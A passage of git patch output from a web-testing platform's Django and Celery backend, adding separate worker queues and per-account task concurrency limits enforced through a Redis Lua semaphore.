+      app: celery-scheduled-deployment
   template:
     metadata:
       labels:
-        app: celery-deployment
+        app: celery-scheduled-deployment
     spec:
       terminationGracePeriodSeconds: 300
       imagePullSecrets:
@@ -26,7 +26,7 @@ spec:
         - name: celery
           image: <IMAGE> # cursiondev/server:65ccd89 #
           imagePullPolicy: IfNotPresent
-          command: ["/entrypoint.sh", "celery"]
+          command: ["/entrypoint.sh", "celery", "scheduled"]
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -71,4 +71,4 @@ spec:
               command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
             periodSeconds: 60
-            failureThreshold: 12
\ No newline at end of file
+            failureThreshold: 12
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 47c6524b..9e6f6444 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -38,7 +38,13 @@ if [[ $1 == *"celery"* ]]
   then
     python3 manage.py wait_for_db && 
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A cursion worker -E --loglevel=info -O fair --hostname=celery@$(hostname)
+    QUEUES=${2:-"scheduled,on_demand"}
+    CONCURRENCY=${3:-${CELERY_CONCURRENCY:-""}}
+    EXTRA_ARGS=""
+    if [[ -n "$CONCURRENCY" ]]; then
+      EXTRA_ARGS="--concurrency=$CONCURRENCY"
+    fi
+    celery -A cursion worker -E --loglevel=info -O fair --hostname=celery@$(hostname) -Q "$QUEUES" $EXTRA_ARGS
 fi
 
 # spin up celery beat
@@ -48,4 +54,3 @@ if [[ $1 == *"beat"* ]]
     echo "pausing for migrations to complete..." && sleep 7s &&
     celery -A cursion beat --scheduler django --loglevel=info
 fi
-

From 46741de1595fb70f9f32790fcaf16e80a8a05e68 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 15:34:55 -0700
Subject: [PATCH 1081/1099] feat: account level concurrency limits

---
 app/api/models.py |   2 +-
 app/api/queue.py  | 216 ++++++++++++++++
 app/api/tasks.py  | 615 +++++++++++++++++++++++-----------------------
 3 files changed, 530 insertions(+), 303 deletions(-)
 create mode 100644 app/api/queue.py

diff --git a/app/api/models.py b/app/api/models.py
index 7c1faba4..403befe0 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -255,6 +255,7 @@ def get_usage_default():
         'tests': 0,
         'caseruns': 0,
         'flowruns': 0,
+        'concurrency': 2,
         'sites_allowed': 1, 
         'pages_allowed': 3, 
         'schedules_allowed': 1, 
@@ -735,4 +736,3 @@ def __str__(self):
         return f'{self.code}'
 
 
-
diff --git a/app/api/queue.py b/app/api/queue.py
new file mode 100644
index 00000000..5e54ad10
--- /dev/null
+++ b/app/api/queue.py
@@ -0,0 +1,216 @@
+from __future__ import annotations
+
+from celery import Task
+from celery.utils.log import get_task_logger
+from contextlib import contextmanager
+from django.apps import apps
+from redis import Redis
+from cursion import settings
+import time, random, secrets
+
+
+
+
+# setting logger 
+logger = get_task_logger(__name__)
+
+
+class BaseTaskWithRetry(Task):
+    autoretry_for = (Exception, KeyError)
+    retry_kwargs = {'max_retries': int(settings.MAX_ATTEMPTS - 1)}
+    retry_backoff = True
+
+
+# setting redis client
+redis_client = Redis.from_url(settings.CELERY_BROKER_URL)
+
+CELERY_QUEUE_SCHEDULED = getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled')
+CELERY_QUEUE_ON_DEMAND = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+
+
+def get_task_queue(task_request=None, kwargs: dict | None = None) -> str:
+    if kwargs and kwargs.get('_queue'):
+        return str(kwargs['_queue'])
+    if task_request is not None:
+        try:
+            delivery_info = getattr(task_request, 'delivery_info', {}) or {}
+            routing_key = delivery_info.get('routing_key')
+            if routing_key:
+                return str(routing_key)
+        except Exception:
+            pass
+    return str(getattr(settings, 'CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED))
+
+
+def apply_async_in_queue(task, *, kwargs: dict, queue: str, task_id: str | None = None):
+    return task.apply_async(
+        kwargs=kwargs,
+        queue=queue,
+        routing_key=queue,
+        task_id=task_id,
+    )
+
+
+_ACCT_SEMAPHORE_SCRIPT = redis_client.register_script(
+    """
+    local held_key = KEYS[1]
+    local pending_key = KEYS[2]
+    local token = ARGV[1]
+    local now_ms = tonumber(ARGV[2])
+    local ttl_ms = tonumber(ARGV[3])
+    local limit = tonumber(ARGV[4])
+    local pending_max_age_ms = tonumber(ARGV[5])
+
+    redis.call('ZREMRANGEBYSCORE', held_key, '-inf', now_ms)
+    redis.call('ZREMRANGEBYSCORE', pending_key, '-inf', now_ms - pending_max_age_ms)
+
+    -- ensure token is in pending with enqueue time; don't overwrite if exists
+    if redis.call('ZSCORE', pending_key, token) == false then
+      redis.call('ZADD', pending_key, now_ms, token)
+    end
+
+    local rank = redis.call('ZRANK', pending_key, token)
+    if rank == false then
+      rank = 0
+    end
+
+    -- FIFO gating: only the first `limit` pending tokens are eligible to run
+    if rank >= limit then
+      return {0, rank}
+    end
+
+    local count = tonumber(redis.call('ZCARD', held_key))
+    if count >= limit then
+      return {0, rank}
+    end
+
+    redis.call('ZREM', pending_key, token)
+    redis.call('ZADD', held_key, now_ms + ttl_ms, token)
+    redis.call('PEXPIRE', held_key, ttl_ms + 60000)
+    redis.call('PEXPIRE', pending_key, pending_max_age_ms + 60000)
+    return {1, rank}
+    """
+)
+
+
+def _account_semaphore_key(account_id: str) -> str:
+    return f"semaphore:account:{account_id}:held"
+
+
+def _account_pending_key(account_id: str) -> str:
+    return f"semaphore:account:{account_id}:pending"
+
+
+def _get_account_concurrency_limit(account_id: str) -> int:
+    try:
+        Account = apps.get_model('api', 'Account')
+        account = Account.objects.get(id=account_id)
+        return int((account.usage or {}).get('concurrency', 2))
+    except Exception:
+        return 2
+
+
+@contextmanager
+def account_concurrency_slot(self_task, *, account_id: str, ttl_seconds: int = 21600):
+    limit = _get_account_concurrency_limit(account_id)
+    if limit <= 0:
+        yield False, 0
+        return
+
+    token = str(getattr(self_task.request, 'id', None) or secrets.token_hex(16))
+    now_ms      = int(time.time() * 1000)
+    ttl_ms      = int(ttl_seconds * 1000)
+    pending_max_age_ms = int(6 * 60 * 60 * 1000)
+    held_key = _account_semaphore_key(account_id)
+    pending_key = _account_pending_key(account_id)
+    result = _ACCT_SEMAPHORE_SCRIPT(
+        keys=[held_key, pending_key],
+        args=[token, now_ms, ttl_ms, limit, pending_max_age_ms],
+    )
+    acquired = bool(result and int(result[0]) == 1)
+    rank = int(result[1]) if result and len(result) > 1 else 0
+    try:
+        yield acquired, rank
+    finally:
+        if acquired:
+            try:
+                redis_client.zrem(held_key, token)
+            except Exception:
+                pass
+
+
+def _reschedule_due_to_concurrency(self_task, *, rank: int) -> None:
+    base            = 2.0
+    per_position    = 4.0
+    max_wait        = 240.0
+    jitter          = random.uniform(0.5, 2.5)
+    countdown       = min(max_wait, base + (max(0, int(rank)) * per_position) + jitter)
+
+    delivery_info   = getattr(self_task.request, 'delivery_info', {}) or {}
+    queue           = delivery_info.get('routing_key') or getattr(settings, 'CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED)
+    kwargs          = getattr(self_task.request, 'kwargs', {}) or {}
+
+    self_task.apply_async(
+        kwargs=kwargs,
+        countdown=countdown,
+        queue=queue,
+        routing_key=queue,
+        task_id=str(getattr(self_task.request, 'id', '') or secrets.token_hex(16)),
+    )
+
+
+def _get_account_id_from_scan_id(scan_id: str) -> str | None:
+    try:
+        Scan = apps.get_model('api', 'Scan')
+        scan = Scan.objects.select_related('page', 'page__account').get(id=scan_id)
+        return str(scan.page.account.id) if scan.page and scan.page.account else None
+    except Exception:
+        return None
+
+
+def _get_account_id_from_test_id(test_id: str) -> str | None:
+    try:
+        Test = apps.get_model('api', 'Test')
+        test = Test.objects.select_related('page', 'page__account').get(id=test_id)
+        return str(test.page.account.id) if test.page and test.page.account else None
+    except Exception:
+        return None
+
+
+def _get_account_id_from_caserun_id(caserun_id: str) -> str | None:
+    try:
+        CaseRun = apps.get_model('api', 'CaseRun')
+        caserun = CaseRun.objects.select_related('account').get(id=caserun_id)
+        return str(caserun.account.id) if caserun.account else None
+    except Exception:
+        return None
+
+
+def _get_account_id_from_page_id(page_id: str) -> str | None:
+    try:
+        Page = apps.get_model('api', 'Page')
+        page = Page.objects.select_related('account').get(id=page_id)
+        return str(page.account.id) if page.account else None
+    except Exception:
+        return None
+
+
+
+
+# setting locking manager to prevent duplicate tasks
+@contextmanager
+def task_lock(lock_name, timeout=300):
+    lock = redis_client.lock(lock_name, timeout=timeout)
+    acquired = lock.acquire(blocking=False)
+    logger.info(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
+    try:
+        yield acquired
+    finally:
+        if acquired:
+            lock.release()
+            logger.info(f"Lock released for {lock_name}")
+
+@contextmanager
+def _always_acquired():
+    yield True, 0
+
diff --git a/app/api/tasks.py b/app/api/tasks.py
index fea40c59..c33d5efa 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,5 +1,5 @@
 from celery.utils.log import get_task_logger
-from celery import shared_task, Task
+from celery import shared_task
 from cursion import celery
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
@@ -19,14 +19,21 @@
 from .utils.updater import update_flowrun
 from .utils.meter import meter_account
 from .utils.manager import record_task
+from .queue import (
+    BaseTaskWithRetry, redis_client, 
+    CELERY_QUEUE_SCHEDULED, CELERY_QUEUE_ON_DEMAND,
+    account_concurrency_slot, _always_acquired, 
+    _reschedule_due_to_concurrency, task_lock, 
+    _get_account_id_from_scan_id, _get_account_id_from_test_id,
+    _get_account_id_from_caserun_id, get_task_queue, 
+    apply_async_in_queue, _get_account_id_from_page_id
+)
 from .models import *
 from functools import reduce
 from django.db.models import Q
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta, timezone as tz
-from redis import Redis
-from contextlib import contextmanager
 from kombu.utils.encoding import bytes_to_str
 from cursion import settings
 import boto3, time, requests, operator, \
@@ -37,68 +44,11 @@
 
 
 
-class BaseTaskWithRetry(Task):
-    autoretry_for = (Exception, KeyError)
-    retry_kwargs = {'max_retries': int(settings.MAX_ATTEMPTS - 1)}
-    retry_backoff = True
-
-
-
-
 # setting logger 
 logger = get_task_logger(__name__)
 
 
 
-
-# setting redis client
-redis_client = Redis.from_url(settings.CELERY_BROKER_URL)
-
-CELERY_QUEUE_SCHEDULED = getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled')
-CELERY_QUEUE_ON_DEMAND = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
-
-
-def get_task_queue(task_request=None, kwargs: dict | None = None) -> str:
-    if kwargs and kwargs.get('_queue'):
-        return str(kwargs['_queue'])
-    if task_request is not None:
-        try:
-            delivery_info = getattr(task_request, 'delivery_info', {}) or {}
-            routing_key = delivery_info.get('routing_key')
-            if routing_key:
-                return str(routing_key)
-        except Exception:
-            pass
-    return str(getattr(settings, 'CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED))
-
-
-def apply_async_in_queue(task, *, kwargs: dict, queue: str, task_id: str | None = None):
-    return task.apply_async(
-        kwargs=kwargs,
-        queue=queue,
-        routing_key=queue,
-        task_id=task_id,
-    )
-
-
-
-
-# setting locking manager to prevent duplicate tasks
-@contextmanager
-def task_lock(lock_name, timeout=300):
-    lock = redis_client.lock(lock_name, timeout=timeout)
-    acquired = lock.acquire(blocking=False)
-    logger.info(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
-    try:
-        yield acquired
-    finally:
-        if acquired:
-            lock.release()
-            logger.info(f"Lock released for {lock_name}")
-
-
-
-
 # setting s3 instance
 def s3():
     s3 = boto3.resource('s3', 
@@ -292,9 +242,11 @@ def redeliver_failed_tasks() -> None:
     resource appears complete but is not marked as such, 
     update `.time_completed` with `timezone.now()`
 
-    Expects: None
+    Args:
+        None
     
-    Returns: None
+    Returns:
+        None
     """
 
     # get uncompleted Scans & Tests
@@ -306,9 +258,10 @@ def redeliver_failed_tasks() -> None:
     # inspect Celery workers
     i = celery.app.control.inspect()
 
-    # fetch active, reserved, & queues tasks
+    # fetch active, reserved, scheduled (ETA), & queues tasks
     reserved    = i.reserved() or {}
     active      = i.active() or {}
+    scheduled   = i.scheduled() or {}
     broker_queues = list(
         {
             'celery',
@@ -335,6 +288,13 @@ def redeliver_failed_tasks() -> None:
         for task in tasks:
             all_tasks.append(task['id'])
 
+    # gather task IDs from scheduled/ETA tasks
+    for replica, tasks in scheduled.items():
+        for task in tasks:
+            req = task.get('request') or {}
+            if req.get('id'):
+                all_tasks.append(req['id'])
+
     # gather redis_ids from queued tasks
     for item in queued:
         try:
@@ -1194,9 +1154,6 @@ def run_html_and_logs_bg(
     Returns: None
     """
 
-    # sleeping random for DB 
-    time.sleep(random.uniform(2, 6))
-
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
@@ -1204,38 +1161,48 @@ def run_html_and_logs_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-    
-    # check redis task lock
-    lock_name = f"lock:html_and_logs_bg_{scan_id}"
-    with task_lock(lock_name) as lock_acquired:
 
-        # checking if task is already running
-        if not lock_acquired:
-            logger.info('task is already running, skipping execution.')
+    account_id = _get_account_id_from_scan_id(str(scan_id)) if scan_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
             return None
 
-        # save & check sys data
-        max_reached = record_task(
-            resource_type='scan',
-            resource_id=str(scan_id),
-            task_id=str(self.request.id),
-            task_method=str(inspect.stack()[0][3]),
-            kwargs={
-                'scan_id': str(scan_id) if scan_id is not None else None,
-                'test_id': str(test_id) if test_id is not None else None, 
-                'alert_id': str(alert_id) if alert_id is not None else None,
-                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                'node_index': str(node_index) if node_index is not None else None
-            }
-        )
-
-        # return early if max_attempts reached
-        if max_reached:
-            logger.info('max attempts reach for html & logs component')
-            return None
+        # sleeping random for DB
+        time.sleep(random.uniform(2, 6))
         
-        # run html and logs component
-        _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
+        # check redis task lock
+        lock_name = f"lock:html_and_logs_bg_{scan_id}"
+        with task_lock(lock_name) as lock_acquired:
+
+            # checking if task is already running
+            if not lock_acquired:
+                logger.info('task is already running, skipping execution.')
+                return None
+
+            # save & check sys data
+            max_reached = record_task(
+                resource_type='scan',
+                resource_id=str(scan_id),
+                task_id=str(self.request.id),
+                task_method=str(inspect.stack()[0][3]),
+                kwargs={
+                    'scan_id': str(scan_id) if scan_id is not None else None,
+                    'test_id': str(test_id) if test_id is not None else None, 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
+
+            # return early if max_attempts reached
+            if max_reached:
+                logger.info('max attempts reach for html & logs component')
+                return None
+            
+            # run html and logs component
+            _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran html & logs component')
     return None
@@ -1267,9 +1234,6 @@ def run_vrt_bg(
     Returns: None
     """
 
-    # sleeping random for DB 
-    time.sleep(random.uniform(2, 6))
-
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
@@ -1278,37 +1242,47 @@ def run_vrt_bg(
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
 
-    # check redis task lock
-    lock_name = f"lock:vrt_bg_{scan_id}"
-    with task_lock(lock_name) as lock_acquired:
-
-        # checking if task is already running
-        if not lock_acquired:
-            logger.info('task is already running, skipping execution.')
+    account_id = _get_account_id_from_scan_id(str(scan_id)) if scan_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
             return None
+
+        # sleeping random for DB
+        time.sleep(random.uniform(2, 6))
+
+        # check redis task lock
+        lock_name = f"lock:vrt_bg_{scan_id}"
+        with task_lock(lock_name) as lock_acquired:
+
+            # checking if task is already running
+            if not lock_acquired:
+                logger.info('task is already running, skipping execution.')
+                return None
    
-        # save sys data
-        max_reached = record_task(
-            resource_type='scan',
-            resource_id=str(scan_id),
-            task_id=str(self.request.id),
-            task_method=str(inspect.stack()[0][3]),
-            kwargs={
-                'scan_id': str(scan_id) if scan_id is not None else None,
-                'test_id': str(test_id) if test_id is not None else None, 
-                'alert_id': str(alert_id) if alert_id is not None else None,
-                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                'node_index': str(node_index) if node_index is not None else None
-            }
-        )
+            # save sys data
+            max_reached = record_task(
+                resource_type='scan',
+                resource_id=str(scan_id),
+                task_id=str(self.request.id),
+                task_method=str(inspect.stack()[0][3]),
+                kwargs={
+                    'scan_id': str(scan_id) if scan_id is not None else None,
+                    'test_id': str(test_id) if test_id is not None else None, 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
 
-        # return early if max_attempts reached
-        if max_reached:
-            logger.info('max attempts reach for vrt component')
-            return None
+            # return early if max_attempts reached
+            if max_reached:
+                logger.info('max attempts reach for vrt component')
+                return None
 
-        # run VRT component
-        _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
+            # run VRT component
+            _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran vrt component')
     return None
@@ -1340,9 +1314,6 @@ def run_lighthouse_bg(
     Returns: None
     """
 
-    # sleeping random for DB 
-    time.sleep(random.uniform(2, 6))
-
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
@@ -1350,38 +1321,48 @@ def run_lighthouse_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-   
-    # check redis task lock
-    lock_name = f"lock:lighthouse_bg_{scan_id}"
-    with task_lock(lock_name) as lock_acquired:
 
-        # checking if task is already running
-        if not lock_acquired:
-            logger.info('task is already running, skipping execution.')
+    account_id = _get_account_id_from_scan_id(str(scan_id)) if scan_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
             return None
 
-        # save sys data
-        max_reached = record_task(
-            resource_type='scan',
-            resource_id=str(scan_id),
-            task_id=str(self.request.id),
-            task_method=str(inspect.stack()[0][3]),
-            kwargs={
-                'scan_id': str(scan_id) if scan_id is not None else None,
-                'test_id': str(test_id) if test_id is not None else None, 
-                'alert_id': str(alert_id) if alert_id is not None else None,
-                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                'node_index': str(node_index) if node_index is not None else None
-            }
-        )
+        # sleeping random for DB
+        time.sleep(random.uniform(2, 6))
+       
+        # check redis task lock
+        lock_name = f"lock:lighthouse_bg_{scan_id}"
+        with task_lock(lock_name) as lock_acquired:
+
+            # checking if task is already running
+            if not lock_acquired:
+                logger.info('task is already running, skipping execution.')
+                return None
 
-        # return early if max_attempts reached
-        if max_reached:
-            logger.info('max attempts reach for lighthouse component')
-            return None
+            # save sys data
+            max_reached = record_task(
+                resource_type='scan',
+                resource_id=str(scan_id),
+                task_id=str(self.request.id),
+                task_method=str(inspect.stack()[0][3]),
+                kwargs={
+                    'scan_id': str(scan_id) if scan_id is not None else None,
+                    'test_id': str(test_id) if test_id is not None else None, 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
 
-        # run lighthouse component
-        _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
+            # return early if max_attempts reached
+            if max_reached:
+                logger.info('max attempts reach for lighthouse component')
+                return None
+
+            # run lighthouse component
+            _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran lighthouse component')
     return None
@@ -1413,9 +1394,6 @@ def run_yellowlab_bg(
     Returns: None
     """
 
-    # sleeping random for DB 
-    time.sleep(random.uniform(2, 6))
-
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
@@ -1423,38 +1401,48 @@ def run_yellowlab_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-    
-    # check redis task lock
-    lock_name = f"lock:yellowlab_bg_{scan_id}"
-    with task_lock(lock_name) as lock_acquired:
 
-        # checking if task is already running
-        if not lock_acquired:
-            logger.info('task is already running, skipping execution.')
+    account_id = _get_account_id_from_scan_id(str(scan_id)) if scan_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
             return None
+
+        # sleeping random for DB
+        time.sleep(random.uniform(2, 6))
+        
+        # check redis task lock
+        lock_name = f"lock:yellowlab_bg_{scan_id}"
+        with task_lock(lock_name) as lock_acquired:
+
+            # checking if task is already running
+            if not lock_acquired:
+                logger.info('task is already running, skipping execution.')
+                return None
     
-        # save sys data
-        max_reached = record_task(
-            resource_type='scan',
-            resource_id=str(scan_id),
-            task_id=str(self.request.id),
-            task_method=str(inspect.stack()[0][3]),
-            kwargs={
-                'scan_id': str(scan_id) if scan_id is not None else None,
-                'test_id': str(test_id) if test_id is not None else None, 
-                'alert_id': str(alert_id) if alert_id is not None else None,
-                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                'node_index': str(node_index) if node_index is not None else None
-            }
-        )
+            # save sys data
+            max_reached = record_task(
+                resource_type='scan',
+                resource_id=str(scan_id),
+                task_id=str(self.request.id),
+                task_method=str(inspect.stack()[0][3]),
+                kwargs={
+                    'scan_id': str(scan_id) if scan_id is not None else None,
+                    'test_id': str(test_id) if test_id is not None else None, 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
 
-        # return early if max_attempts reached
-        if max_reached:
-            logger.info('max attempts reach for yellowlab component')
-            return None
+            # return early if max_attempts reached
+            if max_reached:
+                logger.info('max attempts reach for yellowlab component')
+                return None
 
-        # run yellowlab component
-        _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
+            # run yellowlab component
+            _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran yellowlab component')
     return None
@@ -1484,85 +1472,92 @@ def run_test(
     
     Returns: None
     """
-    # sleeping random for DB 
-    time.sleep(random.uniform(2, 6))
-
     # get kwargs data if no test_id
     if test_id is None:
         test_id = kwargs.get('test_id')
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-    
-    # check redis task lock
-    lock_name = f"lock:run_test_{test_id}"
-    with task_lock(lock_name) as lock_acquired:
 
-        # checking if task is already running
-        if not lock_acquired:
-            logger.info('task is already running, skipping execution.')
+    account_id = _get_account_id_from_test_id(str(test_id)) if test_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
             return None
 
-        # save sys data
-        max_reached = record_task(
-            resource_type='test',
-            resource_id=str(test_id),
-            task_id=str(self.request.id),
-            task_method=str(inspect.stack()[0][3]),
-            kwargs={
-                'test_id': str(test_id), 
-                'alert_id': str(alert_id) if alert_id is not None else None,
-                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                'node_index': str(node_index) if node_index is not None else None
-            }
-        )
+        # sleeping random for DB
+        time.sleep(random.uniform(2, 6))
+        
+        # check redis task lock
+        lock_name = f"lock:run_test_{test_id}"
+        with task_lock(lock_name) as lock_acquired:
 
-        # return early if max_attempts reached
-        if max_reached:
-            logger.info('max attempts reach for Tester')
-            return None
+            # checking if task is already running
+            if not lock_acquired:
+                logger.info('task is already running, skipping execution.')
+                return None
 
-        # get test 
-        test = Test.objects.get(id=test_id)
+            # save sys data
+            max_reached = record_task(
+                resource_type='test',
+                resource_id=str(test_id),
+                task_id=str(self.request.id),
+                task_method=str(inspect.stack()[0][3]),
+                kwargs={
+                    'test_id': str(test_id), 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
 
-        # define objects for flowrun
-        objects = [{
-            'parent': str(test.page.id),
-            'id': str(test_id),
-            'status': 'working'
-        }]
+            # return early if max_attempts reached
+            if max_reached:
+                logger.info('max attempts reach for Tester')
+                return None
 
-        # update flowrun
-        if flowrun_id and flowrun_id != 'None':
-            time.sleep(random.uniform(0.1, 5))
-            update_flowrun(**{
-                'flowrun_id': str(flowrun_id),
-                'node_index': node_index,
-                'message': f'starting test comparison algorithm for {test.page.page_url} | test_id: {str(test_id)}',
-                'objects': objects
-            })
+            # get test 
+            test = Test.objects.get(id=test_id)
 
-        # execute test
-        logger.info('\n---------------\nStarting Test...\n---------------\n')
-        test = T(test=test).run_test()
+            # define objects for flowrun
+            objects = [{
+                'parent': str(test.page.id),
+                'id': str(test_id),
+                'status': 'working'
+            }]
 
-        # update FlowRun if passed
-        if flowrun_id and flowrun_id != 'None':
-            objects[-1]['status'] = test.status
-            update_flowrun(**{
-                'flowrun_id': str(flowrun_id),
-                'node_index': node_index,
-                'message': (
-                    f'test for {test.page.page_url} completed with status: '+
-                    f'{"❌ FAILED" if test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
-                ),
-                'objects': objects
-            })
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                time.sleep(random.uniform(0.1, 5))
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': f'starting test comparison algorithm for {test.page.page_url} | test_id: {str(test_id)}',
+                    'objects': objects
+                })
 
-        # execute Alert if passed
-        if alert_id and alert_id != 'None':
-            logger.info('running alert from `task.run_test`')
-            Alerter(alert_id=alert_id, object_id=str(test.id)).run_alert()
+            # execute test
+            logger.info('\n---------------\nStarting Test...\n---------------\n')
+            test = T(test=test).run_test()
+
+            # update FlowRun if passed
+            if flowrun_id and flowrun_id != 'None':
+                objects[-1]['status'] = test.status
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': (
+                        f'test for {test.page.page_url} completed with status: '+
+                        f'{"❌ FAILED" if test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
+                    ),
+                    'objects': objects
+                })
+
+            # execute Alert if passed
+            if alert_id and alert_id != 'None':
+                logger.info('running alert from `task.run_test`')
+                Alerter(alert_id=alert_id, object_id=str(test.id)).run_alert()
 
     logger.info('Test completed')
     return None
@@ -2032,9 +2027,10 @@ def create_test_bg(self, **kwargs) -> None:
 
 
 
-@shared_task
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_report(
-        page_id: str=None, 
+        self,
+        page_id: str=None,
         alert_id: str=None,
         flowrun_id: str=None,
         node_index: str=None,
@@ -2054,46 +2050,53 @@ def create_report(
     Returns: None
     """
     
-    # get page
-    page = Page.objects.get(id=page_id)
-    
-    # create report obj
-    info = {
-        "text_color": '#24262d',
-        "background_color": '#e1effd',
-        "highlight_color": '#ffffff',
-    }
-    report = Report.objects.create(
-        user=page.user,
-        site=page.site,
-        account=page.account,
-        page=page,
-        info=info,
-        type=['lighthouse', 'yellowlab']
-    )
-    
-    # generate report PDF
-    resp = R(report=report).generate_report()
-    
-    # run alert
-    if alert_id and alert_id != 'None':
-        Alerter(alert_id, str(report.id)).run_alert()
+    account_id = _get_account_id_from_page_id(str(page_id)) if page_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
+            return None
 
-    # update flowrun 
-    if flowrun_id and flowrun_id != 'None':
-        update_flowrun(**{
-            'flowrun_id': flowrun_id,
-            'node_index': node_index,
-            'message': f'report {'created' if  resp['success'] else 'not created'} for {page.page_url} | report_id: {str(report.id)}',
-            'objects': [{
-                'parent': str(page.id),
-                'id': str(report.id),
-                'status': 'passed' if resp['success'] else 'failed'
-            }]
-        })
+        # get page
+        page = Page.objects.get(id=page_id)
     
-    logger.info('Created new report of page')
-    return None
+        # create report obj
+        info = {
+            "text_color": '#24262d',
+            "background_color": '#e1effd',
+            "highlight_color": '#ffffff',
+        }
+        report = Report.objects.create(
+            user=page.user,
+            site=page.site,
+            account=page.account,
+            page=page,
+            info=info,
+            type=['lighthouse', 'yellowlab']
+        )
+
+        # generate report PDF
+        resp = R(report=report).generate_report()
+        
+        # run alert
+        if alert_id and alert_id != 'None':
+            Alerter(alert_id, str(report.id)).run_alert()
+
+        # update flowrun 
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': f'report {'created' if  resp['success'] else 'not created'} for {page.page_url} | report_id: {str(report.id)}',
+                'objects': [{
+                    'parent': str(page.id),
+                    'id': str(report.id),
